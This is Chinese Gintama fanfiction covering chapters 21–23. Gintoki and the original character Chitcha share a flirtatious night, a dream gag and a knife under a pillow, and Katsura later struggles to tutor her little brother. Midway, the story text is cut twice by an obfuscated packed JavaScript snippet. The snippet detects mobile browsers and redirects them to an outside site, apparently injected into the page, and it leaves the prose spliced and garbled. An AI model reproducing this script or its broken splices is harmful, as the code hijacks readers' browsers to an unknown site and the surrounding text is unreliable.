银时喉咙滚动了一下,为她包扎时的姿势彷彿从背后环抱着她的腰。洗发水与药膏的苦涩气味不由分说地涌入他的鼻腔。 绷带一圈圈缠绕在她纤细的腰间,他强压下心中那些不该有的想法,专注于手上的动作。 「好了。」他迅速地把绷带末端固定好。 为了掩饰自己的慌乱,他刻意板起脸,却忽视了自己通红的耳尖。 既然该做的事都完成了,他也不该再和她孤男寡女共处在这个密闭的空间里。 看着银时正要落荒而逃,千茶一把拉住他的衣袖,将他拽到自己面前。 「到你了。脱掉。」她说,声音裏带着丝不容置疑。 「什麽?」 他有些不太相信自己的耳朵。 「那个...你身体还有伤,这样不...」 话还未说完,他便眼睁睁看着她的手搭上自己的腰间,三两下就把他的腰带解开。 他捉住那双不安分的手,义正词严地盯着她「妳知道自己在做什麽吗?」 她点点头。 「那我…」 「替你上药啊。」她说,然后把他松垮垮的领口扯开,露出一大片的发紫的淤伤。 「欸?」 千茶没有错过他眼里闪过的错愕,像是想到些什麽,朝他挑了挑眉。 「哦,看来不知道我在干什麽的,是银时先生你呢。」她轻笑着说,伸手拿过药膏「让我猜猜,你刚才在想什麽坏事?」 话音刚落,她便开始专注于替他的伤处涂抹药膏。 最好的回应就是不回应,这是他看了无数娱乐报章后得出的结论。 千茶将他再次按回床边坐好。他凝视着窗外的景色,试图把注意力移开。 然而,他的计画还是失败了。 她低着头注视着他胸膛上的瘀青,这个距离在镜子里看来就像整个人埋进了他的怀裏。指尖在他的皮肤上轻轻滑过,搔痒的感觉让他不自觉地屏住了呼吸。她微微使劲,用着和他刚才相近的力度揉开那些瘀青。 在这样的氛围下,连时间都像是被拉长了。 银时深吸一口气,试图平復紊乱的心跳。酸痛感让他的注意力下意识地全集中在她身上。 他只低头看了一眼,就立刻像触电般移开视线。 该死的,这傢伙爲什麽偏偏不是儿童身材。 她上身只穿着一件单薄的白色吊带,从他的视线向下看便是美好的光景。他要是想要乘机偷袭她的话,处处都是空隙。 「你在真选组屯所裏,该不会也是穿成这样吧?」 「说什麽蠢话…现在可是冬天呢,那些臭条子又没有设地暖,我可是很怕冷的。」 确实,她的手现在也有些冷,冰凉冰凉的触感让人无法忽视。 可恶。 他现在不就是在被她牵着鼻子跑吗。 他得想办法板回来,顺带让她知道,胡乱撩拨男人可是会有后果的。 「好…」她正想和他说涂好了,但身体突然失去重心。 坂田银时一个利落的动作托起她的大腿,将她抱到自己腿上。随即,他的手臂环着她的背部,将她牢牢地扣在怀中。 「明明是你先撩拨我的,现在不是想跑吧?」他的声音略带沙哑,沉重的呼吸落在她的颈侧,像是在压抑着自己的冲动。 千茶双眼顿时亮了起来,通透的眸子中闪过一丝期待。 等等,这可不是他想要的反应啊。她不应该害羞地推开他,或是愤怒地给他一巴掌吗? 银时看着她,一时不知该如何是好。他本想给她一点教训,让她知道不该如此轻易撩拨男人的心弦,但现在这种情况,反而让他陷入了进退两难的境地。 他感觉自己就像是一个挖坑给自己跳的白痴,而且这个坑似乎越挖越深。 最糟的情况,就是现在承认自己是ED。 但他绝对不想走到这一步啊。 千茶轻轻笑了笑,手指滑过他的脖子,抚上他的脸「怎麽,现在才发现自己玩过头了?」 银时发誓自己从未如此后悔过,他必须想办法脱身,但又不能表现得太明显。 千茶捧着他的脸庞,细细打量着那双明明动了情,却又不肯正视她的眼眸。 时间彷彿在这一刻凝固。 两人静静对视了半晌,她缓缓环住他的脖子,让自己陷入他的怀抱。她轻轻将脑袋靠在他的肩膀上,勾起嘴角,把唇凑到他耳边。 她刻意放慢语速,用着和他刚才一模一样的语气,一字一句地重複道。 「明明是你先撩拨我的,现在不是想跑吧?」 好了,那麽他接下来应该捨弃面子逃跑,还是硬气一点攻上去? 对了,说起硬… 22. 弹珠汽水的瓶盖永远被想象中更难拧开 虽不知道她是否察觉,但坂田银时清楚感受到自己的手心正在冒汗。 与其说是紧张,倒不如说是一种蠢蠢欲动的兴奋。 「银时先生不是个很有经验的大人吗?怎么看着那么紧张?」 「我才没紧张。」他下意识地反驳,脸上闪过一丝不自然。 「哦…是这样吗?」千茶松开环在他脖子上的手臂,把扶在自己腰上的手掌移到面前。她垂着眼睛,缓缓摊开他的手掌,用视线细细描绘着掌心早已被汗水沾湿的纹路。 佯装天真地歪了歪脑袋,明知故问「那为什么你的手心都在冒汗呢?」 「那是…刚才洗了手还没擦干。」他随口找了个借口,就连小孩子都能听出多拙劣。 「真的吗?」她捧起他的手掌,低头用舌尖轻轻舔了一下掌心。 柔软而湿润的触感如同电流般窜过,暗红的眸色逐渐变得深邃。 「可是咸咸的。」她说,还用着惹人联想翩翩的下目线。 他挣开了那双手,顺势抚上她的脸颊,拇指轻按在浅泛水光的唇瓣上。 她轻轻擡了擡上唇,用犬齿压在他的指腹上。 不痛不痒,却像战场响起的号角。 别生气啊,将辉。 这可是你妹妹先动手的。 他反手握住了少女纤细的手腕,以男性的力量优势将她固定在被铺上。 她静静地注视着他,目光中没有丝毫惊慌,反而带着几分期待。少女过于清明的眼神让他的理智瞬间回笼。犹豫之际,他松开了手腕。 但就在那一刹那,千茶主动凑近了他的脸,温柔地贴上他的嘴唇。 那份柔软的触感让他屏住了呼吸,脑海瞬间一片空白。搁在她腰上的手不自觉收紧,将她搂得更近… 等等。 上面那些画面到底是怎么回事?怎么会有那种情节? 不对不对,就算刚才那些片段是经过简化的版本,也完全不对。 这种情节怎么可能出现在这个平台上?再说,以作者那种爱拖剧情,却自称文风细水流长的性格,感情线绝不会发展得这么快。 他被脑内的影像惊醒,猛地坐直身体。 房间染上一层傍晚时分独有的暖橘色氛围,他环顾四周,确实还是在千茶的房间里。他连忙低头检查衣服,发现一切完好,只是稍微有些凌乱。 虽然他睡了一大觉,脑子还没清醒过来,但他很确定事情并不是像上述的那样。 先回到上一章的结尾… 「你该不会到了这个时候,跟我说你还真是ED啊?这可是很伤女孩子的自尊心的。」她说,手轻轻捏着他后颈的肉,就像母猫提着小猫一样。 被戳中心思的银时企图以笑来掩饰尴尬,直到听见她又接着说。 「第一次邀请男人就被对方用自己是ED的理由拒绝,以后可能会患上创伤后压力症,再也没办法谈正常的恋爱了…那时候该怎么办才好?该找谁来负责呢…」 银时的笑容凝固在脸上,一股因胡言乱语而生的罪恶感顿时涌上心头。 就在他脑子高速运算着该如何是好时,她把下巴搁了在他的肩膀上。 温热的气息轻轻拂过他的颈脖,心跳透过紧贴的身躯,清晰地传到他胸口。尽管她的体温偏凉,肌肤相触却带来一丝暖意。 想推开,却又不舍这份温存。 拥抱,原来是这么温暖的吗。 「既然你下不了决定,不如这样吧。」 银时马上竖起耳朵,等着她的提议。 「我给你300日元,你摸摸我的头,跟我说一声『小千,你辛苦了』,这件事就这么过去了。」说着,她从他怀里抬起头,头顶的发丝轻轻蹭过他的下巴。 银时感觉到她的手慢慢松开,最后轻轻地搭在他的肩上。 她神色自若地朝他挑挑眉,像是在等待他的回应。 这种话是是个人能说出来的吗?在那么暧昧的气氛下竟然跟他这个穷鬼聊钱? 「你就不能尊重一下气氛吗?」他皱皱眉,下意识地吐槽。 「那么现在要来接吻吗?」 听见如此直白的邀请,银时嘴角微微抽。 她那双眼睛太具迷惑性,让他无法判断她是认真还是玩笑。但无可否认,他的心跳确实因她的坦率漏了一拍。 「对了,除了摸头,我还想要抱抱,要那种紧得喘不过气来那种。我可以再加三百。」她自顾自地说道,完全无视了银时的恍神。 听见她说会给他钱,这个穷鬼立刻就清醒过来。 只是,他似乎对这个金额不太满意。 「你把我当是那种很廉价的男公关吗,区区六百元就想占我的便宜?」 千茶挑挑眉,看着不知羞地和她讨价还价的银时,顿觉好笑。 「喔…我占你的便宜…那你的手现在放在哪里?」 听她这么一说,银时下意识地往下看,这才发现自己的手早在已不知不觉间,扶了在她的腰上。他正要抽回手时,手里却突然落了个空。 「抱抱嘛。」她说着,再次环住他的脖子。 在她一连串的捣乱下,原本让人心跳加速的暧昧气氛渐渐消散。 他原以为她要抱抱是为了捉弄他,但此刻她却没有任何多余的动作,只是安静地依偎在他肩膊上。 大概…她只是想找个人撒娇罢了。 「我说,你可不能对谁都这样,会吃亏的。」 「这还得说吗。」她的声音淡淡的。 就算再迟钝,也没可能察觉不到千茶对他的态度与众不同。他一向自认看人很准,却始终看不透此刻正与他相拥的这个人。 说她喜欢他,似乎不太像。 说她馋他身体,更不至于。 一次又一次强行闯入他的安全防线,却又在最亲密的时刻抽身而去,留他一人被她占满思绪。 尽管他的确如众人打趣的,从未正经谈过恋爱,但他还是能看得出来,她对他坂田银时,并无丝毫的爱意。 她就像沉醉于一场有趣的游戏,而他不过是其中一个可互动的角色。 讽刺的是,他竟然觉得这样反而挺好的。 毕竟像他这种人,大概也没有资格谈真正的恋爱。 即使此刻在紧紧相拥,言辞间再亲昵,心的距离也从拉近过。 她从不向他倾吐心事,同样地也不会过问他的私事。她偶尔会向万事屋求助,但每次都算得清清楚楚,就像刻意地在他们之间划下一条界线。 明明她只是一个已故战友的妹妹,而他只是本着和她已故兄长的交情,对她略加照顾。 本应仅此而已。 然而每当她靠近,总会伴随着一种前所未有的亲昵感,这股陌生的情绪驱使着他作出很多不像自己的反应,下意识地想和她靠近,却又安心于她的若即若离。 作为一个控制狂,他从未想过自己竟会乐于把主导权交给对方。也许,只有在确保没人会受伤的前提下,他才能体会到期待未知的兴奋。 「你的脑子里到底在想什么。」他本想在心里问自己,却不知怎地脱口而出。 明明喝进去的酒精早就挥发掉了,可是他还是觉得脑袋里昏昏沉沉的。 「我也不知道。」千茶回道,似是把他的自言自语当成了问句,而银时也没澄清,甚至把对话延续下去。 「那你现在在干什么?」 「跟随动物的本能,和同类取暖。」她说,还是那样淡淡的。 什么动物本能,什么取暖…这种容易让人联想翩翩的字眼从她嘴里出来,就像国家地理频道的生态记录片旁白般正经。 本人的行为明明是相反的极端。 镜子映照着一对互相依偎的男女,假如真如她所说,这种难以言喻的吸引源自动物本能,那或许也能解释她身上那份熟悉感。 「同类吗…」他暗暗嘀咕着,嘴角勾起一抹讥笑「说得我们都不是人类似的。」 「不是吗?白夜叉先生。」 「对对,我是夜叉,那你是什么?」 「你猜。」 「雪女?」 她摇摇头,头发轻轻擦过他的脸侧,引起一阵瘙痒。 「针女?」 「再猜。」 「我知道了,是狐狸!一定是狐狸,再不然就是狸猫!」 要不然,又怎会那么擅长戏弄人心。 「请你给点诚意好吗,夜叉先生。」 「烦死了。」他不耐烦地说着,眼睛直盯着镜子,试图从记忆深处搜寻和她有关的一切。 文学修养更好的人,也许能想出更优美的比喻,但在他看来,那双湖水色的眼眸就如同弹珠汽水里那颗看似触手可及,却始终难以取得的弹珠。 通透却孤独。 即使身处喧闹中心,即使被家人至亲环绕着,那份寂寞依然丝毫不动。 宽敞的房子、漂亮的珠宝服式、精致的糕点吃食,再怎么肆意挥霍金钱,也无法填补心中的空洞。 是谁留下来的缺口? 有一刻他差点要冲口而出,可是他在此之前,压下了那股想法。 父母、兄长、外祖父,还有那个不得不离开的家。 那还不足够吗? 比起从未拥有过什么,更令让人恐惧的是曾经拥有,最终却只能眼睁睁看着一切流失。 他比谁都清楚那种刻入骨髓的孤独。即使再多欢笑、再多拥抱也无法填补过往留下的空洞,只能任由那些情绪在心底深处悄然蔓延。 无数个深夜,只能靠酒精能让脑里那些纷扰的声音歇止。 也许,他们的确是同类。 「我不猜了。」他说「反正答案本来就不重要。」 无非就是,他们都无法成为一个真正的「人」罢了。 他揉了揉她的头顶,动作一点也不温柔,甚至还说得上有些粗鲁。她任由他揉乱她的头发,没有抱怨,也没有躲开。 动物的本能,哪懂什么温柔。 「小千,你辛苦了。」 就像她一开始要求的,紧得喘不过气的拥抱、以及摸着头的一句「你辛苦了。」 「你也辛苦了,银时先生。」手指轻柔地穿梭在银白色的发丝之间。 尽管语气平淡,却带着丝丝温柔,让他想起那晚被花子吓到时,她也是轻轻拍着他的背安抚。 他辛苦吗? 与其说是辛苦,不如说他早已习惯了这种感觉。或者更准确地说,他需要这些感觉来提醒自己。 每当夜深人静,各式各样的情绪便格外清晰。 孤独、罪疚、无力。 不知何时起,这些情感彷佛融入他的生命,如同呼吸般自然而不可或缺。他不确定这样说会否显得自己在逞强,但他的确需要这份沉重来提醒自己—— 我,仍然活着。 只要还留着一口气,那就必须肩负着那些未完成的承诺,以及无法偿还的孽债。 这家伙也一样吗? 坂本辰马曾经也说过『小千说不定和你很像。』 要是她真像他的话,那就难搞了。 因为他可是个谁都劝不来的死心眼。 她的呼吸越来越沈,整个人压在他身上,让他清晰感受到她的重量又沈了一点。 银时轻柔地顺着刚才被他弄乱的发丝,低头看了一眼。她睡着了,但他们的身躯仍然紧贴着,甚至她仍然坐在自己的大腿上。 他逼着自己移开视线。 答应了600圆让她抱一下,但没答应给她抱着睡啊? 「喂,你也是时候把我松开了。」他轻轻拍了拍她的背。 她迷迷糊糊地轻哼一声,然后便把脑袋往他颈窝埋进去。 「喂…你…」 脑海中突然闪过一个想法。她该不会故意在逗自己吧,就像平常一样。 「你这样要被我看光了。」他故意使坏道,可是她还是没有丝毫反应。 看来是真的睡着了,没有骗人。 银时无奈地叹着气,小心翼翼地从身后抽起被子,替她盖好,然后调整姿势靠着枕头,任由她压在自己身上熟睡。 「妳该庆幸我对失去意识的女人没兴趣。」 对!这才是正确的记忆。 他绝对没对那家伙出手!他们只是单纯地抱了一下,然后不小心睡着了而已。 所以,开场那段是什么一回事? ……他该不是睡在人家的床上,抱着人家发了个难以启齿的梦吧?他可是见过大场面的男人,可不会像个毛头小子那样的,应该不… 他掀起被子看了一眼。 这不是很精神吗?! 他咽着口水,试图压下内心的罪恶感。这不过是正常的生理现象,他一边安慰自己,但另一边还是忍不住觉得自己太不像话了。 就在这里待到冷静下来为止吧。 「……」 为什么女孩子的房间会那么香?这样他可冷静不下来啊! 这个情况他也不好走出去,要是被人碰见… 对了,他几乎忘记了假发那家伙还在隔壁房间!要是被他… 「啊,你醒来了。」 银时警惕地擡起头,只见换了一身衣服的千茶站在门口,目光刚好和他对上。 他浑身流露出的心虚让千茶感到有些古怪,她疑惑地扫视一眼,目光不经意地落在那个地方。 然后她的视线随即转回他的脸,嘴角勾起一抹若有似无的笑意。 「你在笑什么?!」 她含着笑摇摇头,走进房间并顺手关上房门,在书架前取出一本未拆塑封的漫画。封面上印着一对男女相拥的插图,精致华丽的画风一看就知道是女性向作品。 「千二圆卖给你,另外附送面纸一盒。」说着,她又在旁边的书桌上捧起一盒面纸,放到他的面前。 看着她泰然自若地调侃起自己,银时脸上一阵燥热。 这个人一点都不懂得避忌和害羞的吗?千二圆又是什么鬼?明显是高价倒卖吧! 「这也要千二圆?你是算好的吧?!」 她今天前前后后一共给了他千二圆,现在向他讨回千二圆,这不就是他白干了一天吗? 「再说,这是女性向的TL漫画对吧!要我卖帐也该拿点符合男人喜好的东西来吧?换些更带劲的来!」 「银时先生,你这就不懂了。了解女孩子的喜好可是成为完美男性的必修课题。你年纪也不小了,现在不学习的话,以后那玩意真能派上用场时可就来不及了。」 又来了,理所当然地说着不知羞的话,然后还试图在这种情况 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940205|177320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下PUA他吗? 他咬着牙瞪住她「用不着你那么关心,反正派上用场时也与你无关。」 「嘛…这种事谁知道呢。」她说着,已经拆开了塑封,把书塞到他怀里。 银时别过脸,试着无视她话中的深意。 「嘛,钱晚点再向你收,我现在就不打扰你了,请慢慢享用吧。」她说完还不忘在他手臂上轻拍两下,明显是在故意挑衅。 银时还没来得及想好反驳的话,千茶已经转身走到门前。她正要碰上门把时,忽然想起了什么,立即转过头来。 「对了,请记住洗手和不要弄脏床铺哦。」 银时恶狠狠地瞪着她,深知在这种状况下自己说什么都显得无力,最后还是把那些话咽进肚子。千茶完全无视他眼中的怨念,轻快地关上了门。 房间里又剩下他一个人,还有令人尴尬的漫画和面纸。 「这个女人到底是什么回事?!」他一手把漫画摔在床上泄愤,感觉意犹未尽,又抄起枕头打算继续摔,却没料到拿起枕头后,映入眼帘的是一把剔骨刀。 那把刀在夕阳的映照下泛着诡异的橙光,一股寒意爬上背脊。 要是他刚才真对她出手的话,该不会… 她也会出手吧。 他打了个寒颤,但仔细想想,又觉得她也许是故意放在这里,想要捉弄自己。 「绝对是道具。」 他起初还半信半疑,毕竟这种恶作剧倒是很符合那个小恶魔的风格。 他没有仔细检查刀刃,觉得她再怎么荒谬也不会把这么危险的东西放在床边,这把刀应该还没开锋。为了验证自己的想法,他抓起衣服上的线头,打算试试能不能割断。 谁知那刀锋远比想像中锐利,一下子就把线头割断了,力道一个收不住,还在他拇指处割了一下。 他痛得倒抽一口气,这才仔细端详手上的刀刃。刀锋上竟连一点血迹都没留下,反倒是他的伤口开始渗出鲜血。 谁家女孩子会在枕头下放真刀?? 这下好了,漫画和面纸他都不需要了。 他需要的是药箱。 止好血、包扎好后,银时像是逃跑似的离开了房间。 谁知道还会不会藏着更多机关。 在客厅中央,桂和伊莉莎白正与两个孩子一起玩着宇野牌。 游戏似乎已经到了白热化的阶段,桂的额上冒着冷汗,手里只剩下两张。伊莉莎白和菊各自拿着一叠厚的,春则是皱着眉头,紧紧盯着手中仅余的功能卡。 「喂,假发。你没事了吗?」银时随口问了句。 「现在不是讲这个的时候…」桂头也没擡一下。 倒是伊莉莎白举起了牌子「他还在发烧。」 算了,还有精神打牌即是说也没大碍了。 他收回视线,听着声响朝厨房走去。 千茶正在洗着晚餐的蔬菜,听见脚步声便关上水龙头,回过头来。 身后站着的,是顶着一张讨债脸的银时。她有些意外,眼神中闪过一丝恨铁不成钢的失望。 「你…那么快就好了…抱歉,我一直ED、ED的说你…啊…刚才又说你快了,真的很抱歉。」 他的眉头紧皱,迅速回头看了一眼外面,确保四下无人后凑到她耳边,压低声音。 「我跟你说,我一次至少一个小时,你这种没见过世面的小鬼别胡乱臆测大人。」 「挽尊嘛…我懂的。」她用满是同情的眼神看着他。 一个小时…这个男人还真把A〇里面的东西当真了吗,还是说以为她会蠢得这也相信。 不过,他这样也是怪可怜的。算了,今天就不欺负他了。 「你懂什么懂,我…」 「手指怎么了?」她抓起他包扎过的手,一方面想换个让他没那么难受的话题,另一方面也勉强能说是关心,又或者怜悯。 银时把手抽了回来,啧了一声。 「还好意思问我…要不然你先告诉我,为什么你床上会放着一把刀?」 原来是被那个弄到啊… 她眨眨眼睛,理所当然地解释「传统上,我们这些有点身份地位的大小姐出门时都会戴一把匕首在身,你没听说过吗。」 「我当然听说过,但这可是在你家里,而且那把刀也不像是匕首。」他说,手上也跟着比划「刀鞘也不放一个,也不知道是什…」 「那个是剔骨刀。我思来想去,还是觉得这个比较符合我的个人喜好。」她轻描淡写地说。 「剔骨刀…是我想的那个剔骨刀…吗?」 她点点头「对啊,就是平常做菜用的那种。不过我这把是特别订制的,跟屠宰场用的是同款」 什么叫剔骨刀符合个人喜好,你这个人到底有什么奇怪的喜好?而且还是屠宰场的款式…那被误伤的他算是什么?畜牲吗? 值得吐槽的地方实在太多,更重要的是她那没有丝毫动摇的平静。 「啊…够了。别说那些让人毛骨悚然的话。」 千茶盯着他看了半饷,故作神秘地笑笑。 「要不,看在我们睡过一觉的份上,跟你说个秘密。」 「别把话说得那么奇怪!别再和我说话,我什么都不想知道!」被她这样一吓,现在都有些想撇清关系。 她毫不在意他的拒绝,继续朝他招招手「过来嘛。」 「什么秘…」 「姐姐,晚饭还没好吗?」小孩子稚嫩的声音从身后传来,还在厨房里胡闹的人瞬刻二人身躯一震。 两人对视一眼,不约而同地拉开了彼此的距离。 千茶回头,看见菊站在厨房门口,一脸困惑地看着他们俩。 她自然地收回刚搭在他手臂上的手,上前摸了摸菊的头顶「快好了,等小乐他们过来就可以吃了。」 「哦…你还把神乐他们都喊了过来吗?」银时的目光在厨房的角落游移,然后打开冰箱把脑袋塞了进去,试图让自己看起来更自然。 「对,他们应该差不多要到了。」千茶无奈地看着他。 话语刚落,门铃就响了起来,菊绷绷跳跳地出去应门,显然不太在意厨房的两个人。 等菊离开了厨房,千茶这才放松下来,压低声音向银时寻求确认「刚才…他应该没听见吧?」 平常毫无正经的样子,在弟弟(妹妹)面前却非要装成一副成熟大人的模样。 真让人搞不懂。 「大概没有吧。」银时语气不太确定,目光不安地在厨房外来回扫视。 幸好刚才那个是菊,要不然被春听见,光是用眼刀已经能将他劈成几份。 不过,就算没有被那个病态姐控撞见,他也不能再和她单独待下去了。 微妙气氛被打断那刻,他非但没有如释重负,反而隐约感到遗憾。 再继续下去,他恐怕就会跨越他们无声划下的界线。 听见神乐和新八的声音,银时顿时松了一口气,他跟千茶说了声,便转身打算出去找他们。 和他们在一起时,他能感到更自在些。 「银时先生,刚才姐姐说睡了一觉是什么意思,你能给我解释一下吗?」 刚踩进客厅,那道令人不寒而栗的声音突然响起。银时僵硬地转过头,看见春正站在墙角转弯处,脸上挂着灿烂的笑容。 23. 天才和笨蛋只是一线之差 在桂小太郎留宿浅井家休养的这段时间里,伊丽莎白变成了最忙碌的人,不仅要安抚那些想为桂报仇而蠢蠢欲动的攘夷志士,还得顶上他原本安排的打工。 身为攘夷领袖居然还要亲自出去打工吗? 千茶听见这件事时,难以置信地问道。 桂说,攘夷活动也需要资金,他们是干实事的人,可不是那些沽名钓誉、靠捐款维生的不法组织,他作为领导人,自然也要以身作则。 她理解地点了点头,不禁在心里比较起来。 昔日的攘夷四杰。 白夜叉在歌舞伎町开了家万事屋,聘了两个未成年的小孩替他工作,其中一个还是非法入境者,而且他几乎不付工资。 桂滨之龙创立了快援队,但九成以上的工作都是由他的副手一手包办。他作为全自动闯祸机器,没少让陆奥四处替他收拾烂摊子。 鬼兵队总督重组了鬼兵队,靠着手下搞来的设备和资金,偶尔与他人合作进行大规模袭击,其余时间就在不知从何处弄来的飞船上待命。 与此同时。 狂乱贵公子则是在歌舞伎町和秋叶原NEO营营役役地四处打工… 就…和「狂乱」完全不沾边。 「要不…我给你资助一点经费吧?」千茶犹豫了片刻,还是说了出口, 毕竟听着也太可怜了,昔日的亲友都成了能压榨下属的老板时,他却还在为经费发愁。 银时不等桂开口拒绝,就已经挤到他们中间,把两人隔开。 「喂喂喂,怎么能随便给这家伙钱啊!他可是个通缉犯欸,别听他说几句可怜话就赶着上当啊!」他说着,把千茶托他买过来的饮料塞到她手里,然后一屁股在沙发上坐了下来。 自从桂在千茶家住下,他每当有空就会往这里跑,美其名是照顾伤者,实际就是想趁机赚千茶每次一千几百的跑腿费,顺便带员工来蹭两顿饭。 「有什么关系嘛,只要被抓时别把我供出来不就好了吗?」她漫不经心地应道,一边喝着手里的香草星冰乐。 「这是条子的朋友能有的发言吗?你的朋友和面前这个人,可是汤姆和杰瑞一样的宿敌哦。」 「没关系,反正汤姆一看就知道根本不是真心想抓杰利,他只是怕不干活会被女主人赶出门,才偶尔装装样子顺带打发时间而已。」她说。 确实,真选组和桂这场你追我赶的游戏已经持续多年,虽然好几次都闹得挺大的,但每次最后都是不了了之。 也许,她说得一点也没错。 杰瑞的存在能阻止其他不知名的老鼠闯入这个家,所以只要他不危害主人的利益、不过份捣乱这个家,汤姆偶尔也会对他睁一只眼闭一只眼。 灭了一只杰瑞,只会迎来更多不知名的老鼠。既然如此,何不让这个知根知底的熟人留下来? 通透得让人难以反驳。 银时和桂不约而同地看向对方,交换眼神后渐渐把视线移向了千茶。 她说的话,就像个熟知内幕的人。 千茶察觉到二人的目光,若无其事地啜了一口饮料,继而补充「以上发言纯属个人意见,不代表任何组织或动物的立场,也未收取任何相关方的利益。」 和真选组是旧识这件事,千茶早在桂住下的第二天就告诉了他,她自认为没什么值得隐瞒的,而桂听完后反应也很平淡,甚至还让她觉得他对自己的戒心一度轻了不少。 根据神乐所说,虽然桂和真选组的立场不同,但他和那几个人平常还是挺玩得来的,特别是和近藤。就连平常总是躲着人的齐藤终也尝试过和他交朋友。 所以说,他们完全就是汤姆和杰瑞嘛。 随着伤口日渐复原,桂偶尔也会想帮忙分担家事,免得像个白吃白住的人。但每当千茶看见他拿起任何东西,都会立刻上前阻止。在他再三坚持之下,她最后让他去辅导孩子们的作业。 「要是你担心我的伤的话,我…」 「不用了,这些粗活让小春来做就好。如果你能帮忙辅导小菊写作业的话,我们都会非常感激的。」 他当时还天真地以为千茶是担心他的伤势,才安排他做些轻松的活。但凡是带过小孩的人都明白,辅导作业根本不是什么好差事。 自从桂借用了春的房间后,春就暂时搬到菊的房间去。桂轻轻敲了敲房门,等听见里面的回应,才将和室的门拉开。 就如千茶所说,在他表明来意后,春的眼睛瞬间亮了起来,继而往他投来感激的眼神。 「小太郎先生,你这份恩情我会好好记住的。」 春是个聪明又体贴的孩子,作业写得仔细,放学回家还会主动帮忙做家事,完全不需要千茶操心。有这个好孩子做范例,桂一开始还没意识到自己即将面对什么。 「不是,这里不应该填这个。」 「这里是五减三,不是加,为什么会是八?」 「老师不是说要用红色蜡笔吗?这个是粉红色吧?」 原来一家子里也能同时出现天才和笨蛋。 才短短一个下午,桂就理解到,为什么千茶和春都对辅导菊的作业避之则吉了。 无论他怎样解释,不管是具体的方式还是抽象的方式,他都只会眨着圆滚滚的眼睛,笑着跟他说听不懂,要不就开始东扯西扯。他们对峙了几个小时,这才让他把作业写完。 但也仅仅是写完而已,还有很多错处需要修正。 明明也不是多困难的题目,顶多就是些简易的连线和字母填充。 他还是第一次觉得敲门声那么动听。 「请进。」他应道。 千茶端着茶点走进来,把托盘轻轻放在茶几上,随即在桂的旁边坐下「先休息一下吧。」 听见姐姐这句话,菊马上放下了笔,欢天喜地地拿起了自己那份的茶点。 「姐姐,我作业写完了,可以去看电视吗?」 「去吧,不过等一下要帮小春准备晚餐哦。」她说。 得到允许后,菊立刻丢下未改完的作业,抱着布丁和果汁跑向客厅。 「不是,错的地方还…」桂下意识想要叫停他,却见千茶摆摆手。 「算了,那孩子是笨蛋,勉强不来的,能交上去就算了。」她坦然地说,把热茶和另一份布丁放在桂面前「辛苦你了。」 桂本来也想客气地为菊反驳几句,可是当他的视线掠过面前的作业时,什么话都说不出口。只是端起茶,轻轻呷了一口热茶。 「你也看得挺开嘛。」 「嗯…反正书念得多,也不代表将来能成为一个出色的大人。小孩子嘛,还是快快乐乐地长大更好。」她淡淡地说着,也喝起了手边的茶。 再迟钝的人也听得出,她的童年恐怕一点也不快乐。 桂转过头,只见千茶正望着窗外,眼神有些涣散。 「我小时候也不喜欢学习。」 「为什么?」他下意识地接话。 在他的记忆中,学习是充满着乐趣。塾里总是热热闹闹的,温柔敦厚的老师、整天打闹的伙伴,这些身影占据了他所有关于「学习」的记忆。 村塾那几年实在过于深刻,以致在此之前的日子,他已经记不太清是怎样度过的,也许他曾经也像她一样,有过一段不喜欢上学的日子也说不定。 「对了,为什么呢……也许是感觉和坐牢没什么分别吧。」 她的自言自语幽幽地响起,童年的幻影在他眼前渐渐淡去,取而代之的是与眼前少女身影重叠的小女孩。 一身华贵的珠宝衣饰,静心呵护的金发在阳光下晃动,仿似随风摇曳的上等绸缎。她提着裙?奔向他们,湖水色的眸子闪闪发亮,一头扑进哥哥的怀里缠着撒娇。然而当管家前来提醒她授课时间已到,脸上神色顿时黯淡,娇软的声线被毫无波澜的语气取代,随后以极其标准的礼节向他们告辞。 餐桌上,她前一秒还用崇拜的目光注视着他们,期待着他们分享战场上冲锋陷阵的经历;下一秒便天真地询问将辉房间里那些小黄书里的词汇含义,然后在外公追着他满屋跑时掩嘴偷笑。 她喜欢动物,所以在后院收留了一些流浪猫狗,给牠们吃食,给他们睡觉、躲雨的地方,带病或受伤的,就让人替牠们治疗。但并非所有习惯流浪的动物都能适应被圈养,有些宁愿回到街头闯荡,也不愿被困于后院。当时,她有一只很喜欢的白猫,但这只猫习惯了自由自在的日子,只会在饿得不行时才来找她要几口吃食。 当她从仆人口中听见牠的死讯时,他们都以为她会大哭起来,就如一般小孩子应有的反应。 但她只是淡淡地说了句「死了便死了吧」,然后褪去身上的羽织,让仆人一并埋葬。 银时说,小孩子都是这样,到了一定年纪才会懂得生命的可贵。 高杉说,他们这种世家大族教出来的孩子便是如此,对什么都无动于衷才算是养成了。 唯独坂本走了上前,蹲下身与千茶四目相对。 「你不喜欢这件羽织吗,怎么让人埋了?」他问。 「妈妈说,如果把人的衣服和动物一起埋葬,他们来世投胎就不会掉进畜生道,就能当人了。」 坂本听完后,轻轻拍了拍她的头顶「那么,你会为了牠感到伤心吗?」 「牠直到生命最后一刻,都能忠于自己的内心,我很羡慕。」 他清晰记得,那时他们都被她的话语震慑住了。 尽管他们都经历过无数次生死,但每当目睹生命消逝,内心依然会泛起涟漪。相比之下,这个小孩却要平静得多。 至少她看起来是。 也许就像高杉说的,这个孩子被她的家人「养得很好」。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而这些,都被桂看得一清二楚。 当年那个小女孩,不知不觉间已经长这么大了。 可是又彷佛从未真正长大过。 如今,她离开了那个吃小孩的家,却不知是否获得了一直渴望的自由? 这个问题,他想了好几天,却始终得不到答案。 「银时,你对小千的事,有什么想法?」 